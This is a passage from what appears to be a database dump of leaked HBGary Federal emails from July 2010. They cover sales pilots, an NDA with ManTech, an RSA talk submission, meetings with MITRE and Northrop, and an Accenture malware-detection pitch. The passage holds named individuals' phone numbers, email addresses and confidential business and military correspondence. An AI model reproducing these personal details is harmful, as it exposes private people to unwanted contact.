and it is in the procurement cycle..... he would like to have a long term evaluation copy in the meantime... same drill as TSA.. and gain some experience\r\n \r\nPilot Opportunity\r\nBrian has agreed to an Active Defense Pilot in August -- we cannot charge for the Pilot\r\nConference call scheduled August 3rd with Rich to outline scope of Pilot\r\nBrian is confident he will get CIO approval to pilot Production systems -- main concern is that we do not impact end user performance\r\nThere is no budget this year -- this is an evaluation for next year budget\r\nBased on results  -- this can accelerate a 2010 purchase -- as an IR tool or full deployment\r\nBrian offered 2 weeks as a good pilot timeframe -- he expects we would be onsite for 2 days\r\n \r\nBlack Hat Meeting\r\nBrian would like to meet Greg for dinner at Blackhat if Greg is available?\r\n \r\nPenny there is no civilian agency so far that has the ability to pay for a Pilot -- they say it is not done....  \r\n \r\nPenny will you approve a 60 day Responder Pro eval for Brian?  Charles will need your approval :)\r\n \r\nThis is a great opportunity!!\r\n \r\nfyi Brian says he knows Aaron Barr\r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',888,'aaron_hbgary_com/888.html'),(8322,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006452.M974908P14101Q3177.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: ManTech--HB Gary--Gatorbait Opportunity--NDA','Sent from my iPadBegin forwarded message:From: &quot;Ott, Stephen D&quot; &lt;Stephen.Ott@ManTech.com&gt;\r\nDate: July 8, 2010 3:38:36 PM EDTTo: &lt;aaron@hbgary.com&gt;Cc: &quot;Hull, Wayne A&quot; &lt;Wayne.Hull@ManTech.com&gt;, &quot;Stewart, Brad&quot; &lt;Brad.Stewart@mantech.com&gt;\r\nSubject: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n \r\n\r\nGood afternoon.\r\n\r\n  \r\n\r\nAttached you\r\nwill find our standard Non-Disclosure Agreement to discuss teaming with ManTech\r\non the Gatorbait effort.  Please review it, sign it, and return it back to\r\nme.  A fully executed agreement will then be sent to you.  If you\r\nbelieve changes need to be made, please let me know your suggested\r\nchanges.  I can send you a word copy and you can turn on “track\r\nchanges” to help speed the process.\r\n\r\n \r\n\r\nPlease email or\r\ncall if you have any questions.  Thank you for your help.\r\n\r\n   \r\n\r\nBest Regards,\r\n\r\nSteve\r\n\r\n \r\n\r\n \r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email. \r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5668,'aaron_hbgary_com/5668.html'),(8323,'2010-07-09','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297006453.M247400P14101Q3178.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Fri, Jul 9, \'10 at 3:11 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    HB Gary_Gatorbait_NDA.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nDid you know .doc and .docx are now supported in Beta?  Zosh supports PDF, Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10171,'aaron_hbgary_com/10171.html'),(8324,'2010-07-09','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297006453.M576716P14101Q3179.eml','aaron@hbgary.com','Alarm - Mantech Discussions','July 7, 2010 2:00 PM : Mantech Discussions \r\n',7655,'aaron_hbgary_com/7655.html'),(8325,'2010-07-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006453.M825508P14101Q3180.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.gov\r\nDate: July 9, 2010 2:28:02 AM MDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nFriday, July 09, 2010, 04:21 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Cyber&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n    Title:                 cyberFEDS Subcription Renewal    Sol. #:                SBAHQ-10-Q-0019    Agency:                Small Business Administration\r\n    Office:                Office of Administration    Location:              Office of Procurement and Grants Management    Posted On:             Jul 08, 2010 3:51 pm    Base Type:             Presolicitation\r\n    Link:                  https://www.fbo.gov/spg/SBA/OOA/OPGM/SBAHQ-10-Q-0019/listing.html\r\n    -------------------------------------------------------\r\n',8633,'aaron_hbgary_com/8633.html'),(8326,'2010-07-09','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297006454.M110263P14101Q3181.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Accepted: EXTERNAL:Invitation: Social Media Discussions @ Mon Jul 19 10am - 11am (rj.shows@ngc.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGib is out sailing\r\nthe high seas at the present&#8212;he&#8217;ll likely be back on net early next\r\nweek.&nbsp; Pls hold a slot on Tue &amp; Wed and we&#8217;ll lock it in once he&#8217;s\r\nhad a chance to weigh-in.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCheers, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 9:10 AM\r\nTo: Shows, Bob (IS)\r\nCc: Godwin, Gib (IS)\r\nSubject: Re: Accepted: EXTERNAL:Invitation: Social Media Discussions @\r\nMon Jul 19 10am - 11am (rj.shows@ngc.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI can do either right now.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 6, 2010, at 8:52 AM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf we slipped this meeting to Tues or Wed of that\r\nweek, that would allow a face-to-face where we might accomplish this &amp; more.&nbsp; We could meet in Herndon&#8212;or\r\nsomeplace mutually convenient if Herndon is out of the way. \r\n\r\nBest always, \r\n\r\nBob\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5702,'aaron_hbgary_com/5702.html'),(8327,'2010-07-09','speakers@rsaconference.com','/aaron@hbgary.com/new/1297006454.M609174P14101Q3182.eml','\"Aaron Barr\" <aaron@hbgary.com>','Your Proposed Session Data','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n/***** font classes *****/\r\n.pageheader {\r\ncolor:#00009C;\r\nfont-size:18px;\r\nmargin-bottom:15px;\r\nmargin-top:5px;\r\n}\r\n.fontTitleSupport {\r\nmargin-bottom: 20px;\r\nmargin-left: 20px;\r\nfont-size: 12px;\r\nfont-weight: bold;\r\ncolor: #000000;\r\n}\r\n.fontPageFooter {\r\nfont-size:10px;\r\nfont-weight:bold;\r\n}\r\n/* New class .title, replaces .fontTitle and .fontHeader */\r\n.title,.fontTitle,.fontHeader{\r\nfont-size:20px;\r\nfont-weight:bold;\r\nmargin-bottom:20px;\r\n}\r\n/* New class .subtitle, replaces .fontSubtitle and .fontPageHeader */\r\n.subtitle,.fontSubtitle,.fontPageHeader  {\r\nfont-size:13px;\r\nfont-weight:bold;\r\nmargin-bottom:3px;\r\n}\r\n.formTable td.subtitle{\r\npadding:15px 0 3px;\r\n}\r\n.fontBold, .bold {\r\nfont-weight:bold;\r\n}\r\n.fontSmall, small,\r\n.small, .note, div.formNote{ /* New class .small, replaces .fontSmall */\r\nfont-weight: normal;\r\nfont-size:10px;\r\n}\r\n.note, div.formNote{\r\ncolor:#999;\r\n}\r\ndiv.formNote{\r\nwidth:250px;\r\n}\r\n\r\n.fontContentBoxHeader,\r\n.contentBox .title { /* New class .contentBox .title, replaces .fontContentBoxHeader */\r\nmargin-top:10px;\r\nfont-size:14px;\r\nfont-weight:bold;\r\ncolor:#333399;\r\n}\r\n\r\n\r\n.fontWelcome {\r\ntext-align:left;\r\nmargin-left:10px;\r\n}\r\n.fontUserName {\r\nfont-weight:bold;\r\ntext-align:left;\r\nmargin-left:10px;\r\nmargin-bottom:20px;\r\n}\r\n.fontLinkLogout {\r\nmargin-left:10px;\r\n}\r\n.fontCopyright{\r\nfont-family: Verdana, Geneva, Arial, Helvetica, sans-serif;\r\nfont-size:9px;\r\ntext-align:center;\r\nmargin:0;\r\npadding:0;\r\ncolor:#888;\r\n}\r\n\r\n/*-- New Classes --*/\r\n.subtle,.normal {\r\nfont-size:12px;\r\nfont-weight:normal;\r\n}\r\n.subtle {\r\ncolor:#666666;\r\n}\r\n.fontTiny {\r\nfont-size:10px;\r\n}\r\n.normal {\r\nfont-weight:normal;\r\n}\r\n\r\n/***** form classes *****/\r\n.formPromptTd,.formPromptTdWidth,.formElementTd,.formBoxElementTd,.formReqTd {\r\nvertical-align:top;\r\n}\r\n.formPromptTd,.formPromptTdWidth {\r\nwidth:170px;\r\npadding-top:5px;\r\ntext-align:right;\r\nfont-weight:bold;\r\n}\r\n.formSelect{\r\n}\r\n.formPromptTdWidth {\r\nwidth:65px;\r\n}\r\n.formPromptWidth {\r\nwidth:130px;\r\nheight:0px;\r\nfont-size:0px;\r\n}\r\n/* class for text box, select, etc. elements (default) */\r\n.formBoxElementTd {\r\npadding-top:3px;\r\n}\r\n/* added class for text only elements */\r\n.formElementTd {\r\npadding-top:5px;\r\n}\r\n.formReqTd {\r\nwidth:5px;\r\npadding-top:7px;\r\ncolor:#CC3333;\r\n}\r\n.formButton {\r\nfont-weight:bold;\r\ncolor:#000000;\r\n}\r\n/*-- New Classes --*/\r\n.formTable td {\r\nvertical-align:top;\r\n}\r\n.formTable .prompt {\r\ntext-align:right;\r\npadding:4px;\r\npadding-left:0px;\r\nwidth:40%;\r\n}\r\n.formTable .formText {\r\npadding:4px 0px;\r\n}\r\n.formTable .element {\r\npadding:2px 0px 4px;\r\n}\r\n.req {\r\nfont-family:verdana;\r\npadding:5px 3px 0px;\r\npadding-left:0px;\r\ncolor:#cc0000;\r\nfont-size:12px;\r\nwidth:5px;\r\n}\r\n\r\n/***** link classes *****/\r\na {\r\ncolor: #33a;\r\ntext-decoration:none;\r\n}\r\na:hover {\r\ntext-decoration:underline;\r\n}\r\n.linkNav {\r\ndisplay:block;\r\npadding: 3px 3px 4px 13px;\r\nfont-weight:bold;\r\ncolor:#67a;\r\n}\r\n.linkNav:hover {\r\ncolor:#239;\r\n}\r\n.formatTabText-off a, .formatTabText-off a:hover,\r\n.formatTabText-on {\r\nfont-weight:bold;\r\n}\r\n.formatTabText-on{}\r\n\r\n/***** format classes *****/\r\n.standardsPopup{\r\nborder: 1px solid #3168B4;\r\nbackground: #fff;\r\ntext-align: left;\r\n}\r\n\r\n.standardsPopup a{\r\ndisplay: block;\r\npadding: 4px 8px;\r\n}\r\n\r\n.standardsPopup a:hover{\r\nborder: 1px solid #FFCC88;\r\npadding: 3px 7px;\r\nbackground: #FFEECC;\r\ntext-decoration: none;\r\n}\r\n\r\n.standardsPopup br{\r\ndisplay: none;\r\n}\r\n.formatPopupBody{\r\nmargin:0px;\r\n}\r\n.formatContentTd {\r\nborder-left:6px solid #FFFFFF;\r\n}\r\n.formatContent {\r\nmargin-top:8px;\r\nmargin-bottom:8px;\r\n}\r\n.formatNavSeparator {\r\nfont-size:0px;\r\nmargin:0 8px;\r\nborder-bottom:1px solid #bbb;\r\n}\r\n.formatLinkNavDiv {}\r\n.formatLinkNav,.formatLinkNav-over {\r\nmargin-top:8px;\r\nmargin-bottom:8px;\r\nvertical-align:middle;\r\npadding-top: 0px;\r\npadding-left:10px;\r\nbackground-image: none;\r\nheight: 15px;\r\n}\r\n.formatLinkNav-over {\r\ncursor:pointer;\r\n}\r\n/* New class .contentBox replaces .formatInfoBox and .formatContentBox */\r\n.formatInfoBox,.formatContentBox,\r\n.contentBox{\r\nborder: 1px solid #B3B3B3;\r\nbackground-color: #FAFAFA;\r\npadding:10px;\r\n}\r\n.formatListLinks {\r\ntext-align:left;\r\nmargin-bottom:4px;\r\npadding-top:6px;\r\nmargin-top:6px;\r\n}\r\n.formatListInfo {\r\nbackground-color:#FAFAFA;\r\nborder:1px solid #999999;\r\ncolor: #333399;\r\n}\r\n.formatListInfo {\r\npadding:5px;\r\npadding-left:10px;\r\nfont-weight:bold;\r\nmargin-top:20px;\r\n}\r\n.formatTableWidth,.formatTableMain,\r\n.formatHeaderTable{\r\nwidth:100%;\r\n}\r\ndiv.formatFormButton, div.contentBox{\r\nwidth:auto;\r\n}\r\n.formatParagraph{\r\n}\r\n\r\ntable.listTable, table.dataTable, table.headerBox{\r\nwidth:100%;\r\n}\r\ntable.min{\r\nwidth:auto;\r\n}\r\ntd.min{\r\nwidth:1%;\r\nwhite-space:nowrap;\r\n}\r\n.formatColumnHeaderTd, /* tr.header td replaces .formatColumnHeaderTd */\r\ntr.header td, th{\r\npadding:5px;\r\nborder-bottom:1px solid #aaaaaa;\r\nfont-weight:bold;\r\nbackground:#e0e0e0 url(../images/columnheader.gif) repeat-x;\r\n}\r\n\r\n.listTable {\r\nborder:1px solid #d0d0d0;\r\n}\r\n.listTable td {\r\nvertical-align:top;\r\npadding:3px 5px;\r\n}\r\n\r\n.dataTable {\r\nbackground-color:#d0d0d0;\r\n}\r\n.dataTable td {\r\nvertical-align:top;\r\npadding: 3px;\r\n}\r\n.dataTable tr {\r\nbackground-color:#ffffff;\r\n}\r\n\r\ntable.middle tr td{\r\nvertical-align: middle;\r\n}\r\ntable.indent{\r\nmargin:5px 0 5px 12px;\r\n}\r\n\r\n/* .formatContentBoxHeader and .formatListHeader are\r\n replaced by .headerBox .open-bottom */\r\n.headerBox{\r\npadding:4px;\r\nborder:1px solid #e0e0e0;\r\nbackground-color:#fafafa;\r\nfont-size:11px;\r\nfont-weight: bold;\r\ncolor:#0B333C;\r\n}\r\n.spacer {\r\nheight:25px;\r\nfont-size:0px;\r\n}\r\n.spacerSmall {\r\nheight:10px;\r\nfont-size:0px;\r\n}\r\n\r\n/**\r\nNew class tr.odd, replaces .formatListOdd\r\n*/\r\n.formatListOdd,\r\ntr.odd, .dataTable tr.odd td{\r\nbackground-color:#F7F7F7;\r\n}\r\n/**\r\nNew class tr.even, replaces .formatListEven\r\n*/\r\n.formatListEven,\r\ntr.even, .dataTable tr.even td{\r\nbackground-color:#FFFFFF;\r\n}\r\n\r\n.dark, tr td.dark, tr.dark td{\r\nbackground-color:#eaeaea;\r\n}\r\ntr.even td.dark{\r\nbackground-color:#f6f6f6;\r\n}\r\ntr.odd td.dark{\r\nbackground-color:#ededed;\r\n}\r\ntr.border-top td, div.border-top{\r\nborder-top:1px solid #d5d5d5;\r\n}\r\n\r\n.nowrap {\r\nwhite-space:nowrap;\r\n}\r\n/**\r\nNew class div.even, replaces .formatIndent\r\n*/\r\n.formatIndent, div.indent{\r\nmargin:10px 0 10px 12px;\r\n}\r\n.formatTable100 {\r\nwidth:100%;\r\n}\r\n.formatFormButton{\r\nmargin-top:10px;\r\nmargin-bottom:10px;\r\n}\r\n/*-- New Classes --*/\r\n.white { background-color:#ffffff !important; }\r\n.gray { background-color:#f7f7f7 !important; }\r\n.light-gray { background-color:#fafafa !important; }\r\n.medium-gray { background-color:#eeeeee !important; }\r\n.dark-gray { background-color:#dddddd !important; }\r\n\r\n.open-top { border-top:0px none !important; }\r\n.open-bottom { border-bottom:0px none !important; }\r\n\r\n.right, tr.header td.right { text-align:right; }\r\n.center { text-align:center; }\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n	\r\n	  Thank you for your submission to RSA Conference 2010. You will find a summary of your submission below.\r\n		Speakers will be notified of their acceptance status in October 2010. If you have any questions regarding your submission, please contact\r\n		speakers@rsaconference.com.\r\n		\r\n\r\n\r\n\r\n\r\n\r\nThe Track Session you submitted is: 2621\r\n  \r\n\r\n\r\n\r\n\r\nSession Title:\r\n\r\nCybersecurity Is an Intelligence Problem not an IT Problem \r\n\r\n\r\n\r\nSession Abstract:\r\n\r\nRecent intrusions such as the Aurora incident show that motivated attackers with time and resources can compromise highly secure networks.  Protecting information from this new breed of adaptive adversaries requires moving past reacting or protecting against the vehicles of attack to understanding and identifying the humans or organizations that use them.\r\n\r\n\r\n\r\nSession Type:\r\n\r\nTrack Session\r\n\r\n\r\n\r\n\r\nSession Classification:\r\n\r\nIntermediateFocused on principles and concepts that would appeal to attendees with more than 5 years of experience.    Little, if any, time is spent on definitional terms and concepts.  Contains instructive demos, line code, tools, architectural discussions, or similar level of content.     Depth of Intermediate content is equivalent to articles found in IEEE magazines, such as Security and Privacy, or the ABA Journal.\r\n\r\n\r\n\r\nSession Format:\r\n\r\nIndividual Speaker - You will be the only speaker. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nParticipants\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n  Aaron&nbsp;Barr\r\n  aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n   Moderator(s):   \r\n  \r\n  \r\n\r\n    \r\n    Aaron&nbsp;Barr\r\n    aaron@hbgary.com\r\n  \r\n  \r\n\r\n\r\n\r\n\r\n   \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n   \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n©  WingateWeb\r\n\r\n\r\n\r\n',14686,'aaron_hbgary_com/14686.html'),(8328,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006454.M836363P14101Q3183.eml','\"Geoff Stowe\" <gstowe@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Fwd: Your Proposed Session Data','Begin forwarded message:From: speakers@rsaconference.comDate: July 9, 2010 11:55:07 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Your Proposed Session DataThank you for your submission to RSA Conference 2010. You will find a summary of your submission below.Speakers will be notified of their acceptance status in October 2010. If you have any questions regarding your submission, please contact&nbsp;speakers@rsaconference.com.The Track Session you submitted is: 2621Session Title:Cybersecurity Is an Intelligence Problem not an IT ProblemSession Abstract:Recent intrusions such as the Aurora incident show that motivated attackers with time and resources can compromise highly secure networks.&nbsp; Protecting information from this new breed of adaptive adversaries requires moving past reacting or protecting against the vehicles of attack to understanding and identifying the humans or organizations that use them.Session Type:Track SessionSession Classification:IntermediateFocused on principles and concepts that would appeal to attendees with more than 5 years of experience. Little, if any, time is spent on definitional terms and concepts. Contains instructive demos, line code, tools, architectural discussions, or similar level of content. Depth of Intermediate content is equivalent to articles found in IEEE magazines, such as&nbsp;Security and Privacy, or the&nbsp;ABA Journal.Session Format:Individual Speaker - You will be the only speaker.ParticipantsAaron&nbsp;Barr&nbsp;aaron@hbgary.comModerator(s):Aaron&nbsp;Barr&nbsp;aaron@hbgary.com©&nbsp;WingateWeb\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4994,'aaron_hbgary_com/4994.html'),(8329,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006455.M123857P14101Q3184.eml','\"David Etue\" <david@etue.net>','RSA','Do you have something put together?  Deadline is today.  I was going to whip something up unless your already down the road.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8389,'aaron_hbgary_com/8389.html'),(8330,'2010-07-09','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297006455.M875900P14101Q3185.eml','aaron@hbgary.com','Here is your completed Zosh document.','\r\n\r\nYou just filled out and signed a document on your iPhone!\r\n\r\n\r\n&nbsp;Executed with Zosh www.zosh.com.\r\n\r\n\r\n',1800,'aaron_hbgary_com/1800.html'),(8331,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006456.M754559P14101Q3186.eml','stephen.ott@mantech.com','Fwd: Here is your completed Zosh document.','Steve,\r\n\r\nAttached is the signed NDA for Gatorbait.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Zosh Administrator \r\n> Date: July 9, 2010 12:00:35 PM EDT\r\n> To: aaron@hbgary.com\r\n> Subject: Here is your completed Zosh document.\r\n> \r\n>  \r\n> Executed with Zosh www.zosh.com.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9030,'aaron_hbgary_com/9030.html'),(8332,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006457.M14549P14101Q3187.eml','\"Dizon, Ray\" <rdizon@mitre.org>','Re: MITRE intro','Sounds good.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 9, 2010, at 10:04 AM, \"Dizon, Ray\"  wrote:\r\n\r\n> Thursday the 15th is the better day, how about 2:00?\r\n>\r\n> Ray\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, July 09, 2010 10:03 AM\r\n> To: Dizon, Ray\r\n> Subject: Re: MITRE intro\r\n>\r\n> Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n>\r\n> Aaron\r\n>\r\n> On Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n>\r\n>> David, thanks, see you soon.\r\n>>\r\n>> Aaron,\r\n>>\r\n>> Be happy to catch up with you some time to chat about social media, etc.\r\n>>\r\n>> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n>>\r\n>> Ray\r\n>>\r\n>>\r\n>> Ray Dizon\r\n>> Director, Technology Transfer Office\r\n>> The MITRE Corporation\r\n>> N680\r\n>> 7515 Colshire Drive\r\n>> McLean, VA 22102\r\n>> 703-983-7132\r\n>> rdizon@mitre.org\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: David Etue [mailto:david@etue.net]\r\n>> Sent: Thursday, July 08, 2010 9:07 AM\r\n>> To: Aaron Barr; Dizon, Ray\r\n>> Subject: MITRE intro\r\n>>\r\n>> Ray - looking forward to meeting this afternoon.  I wanted to provide a\r\n>> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary\r\n>> Federal.  Aaron and I have looked to do some work together around social\r\n>> media security, and during our discussions he mentioned there was some\r\n>> technology in MITRE around social media that may be available for tech\r\n>> transfer.  I wanted to connect the two to discuss further.\r\n>>\r\n>> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.\r\n>> Before joining MITRE, he was an investor in Fidelis while at the\r\n>> Maryland Venture Fund.  Beyond being the right person to talk to about\r\n>> this particular opportunity, Ray is a great guy to know in the DC tech\r\n>> community.\r\n>>\r\n>> I\'ll let you two connect directly from here.\r\n>>\r\n>> David\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',10972,'aaron_hbgary_com/10972.html'),(8333,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006462.M777194P14101Q3188.eml','\"Bill Varner\" <Bill.Varner@ManTech.com>','HBGary Discussions','Bill,\r\n\r\nVery quick but a target of opportunity.  Penny Hoglund, the President and primary owner of HBGary, Inc. will be out this way Monday and Tuesday of next week if you have an opportunity to get together briefly to discuss the company and the possibilities related to investment.\r\n\r\nHave a great weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12410,'aaron_hbgary_com/12410.html'),(8334,'2010-07-09','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006463.M399791P14101Q3189.eml','penny@hbgary.com,aaron@hbgary.com,chris.lee@virtualarmor.com,mark.precious@virtualarmor.com,shawn.anderson@wyle.com,penny@hbgary.com,aaron@hbgary.com,chris.lee@virtualarmor.com','RE: Slides for the 6th','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFolks,\r\n\r\n&nbsp;\r\n\r\nOn behalf of the Accenture team, I&#8217;d like to thank and\r\ncongratulate everyone again on a job well done on Tuesday, July 6th.&nbsp;\r\nWe received very positive feedback on our presentation.\r\n\r\n&nbsp;\r\n\r\nWe have been asked to prepare a 0-day malware detection and\r\nactive defense deep dive with DISA and their Mitre SMEs on Aug 6th. &nbsp;&nbsp;As\r\nyou may have heard, DISA is about to release an RFI on the subject.&nbsp; This\r\nis a great opportunity for us to differentiate ourselves from Symantec. They\r\nappear to be the front runner in this space according to Sonoka Ho&#8217;s\r\nimplication.&nbsp; Ho told me that he was impressed with what he heard from us\r\non Tuesday.\r\n\r\n&nbsp;\r\n\r\nSince we don&#8217;t have a working prototype, my sense is that\r\nwe need to have a better defined architectural and functional description,\r\nwhich includes a more detailed flow between HBGary, BlockHouse, CAR, and DDN\r\nand more detail on how each component performs its function.&nbsp; We need to\r\nbeef up the connection between the previous and risk assessment, alerting, human\r\nin the loop, data distribution and how all those are connected.&nbsp; We need\r\nuse cases and show at least one full end-to-end flow starting with HBGary.\r\n\r\n&nbsp;\r\n\r\nFirst we need commitment from all of you to proceed, then a\r\nschedule to prepare for the meeting.&nbsp; If you are on board, please provide\r\nme with your availability next week to start this off and agree on what we need\r\nto put together.\r\n\r\n&nbsp;\r\n\r\nHave a great weekend and stay cool!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 02, 2010 3:42 PM\r\nTo: Smith, Richard N.; Ricart, Richard\r\nSubject: FW: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere are slides\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 02, 2010 12:18 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry just got out of some meetings with Blackbird a bit a\r\ngo.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',9258,'aaron_hbgary_com/9258.html'),(8335,'2010-07-09','\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297006463.M800751P14101Q3190.eml','\"Verell, Benefsheh D MAJ MIL USA\" <benef.shamley@us.army.mil>,\"Verell, Benefsheh D MAJ MIL USA\" <benef.shamley@us.army.mil>,','Training (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nMa\'am,\r\n   Just reminding you that if you\'re still looking for some good\r\ntraining opportunities, Mr. Barr can really help us. He is CCed above.\r\nSFC Sandoval has spoken with him as well. \r\n\r\nV/R\r\n\r\nCPT Steve 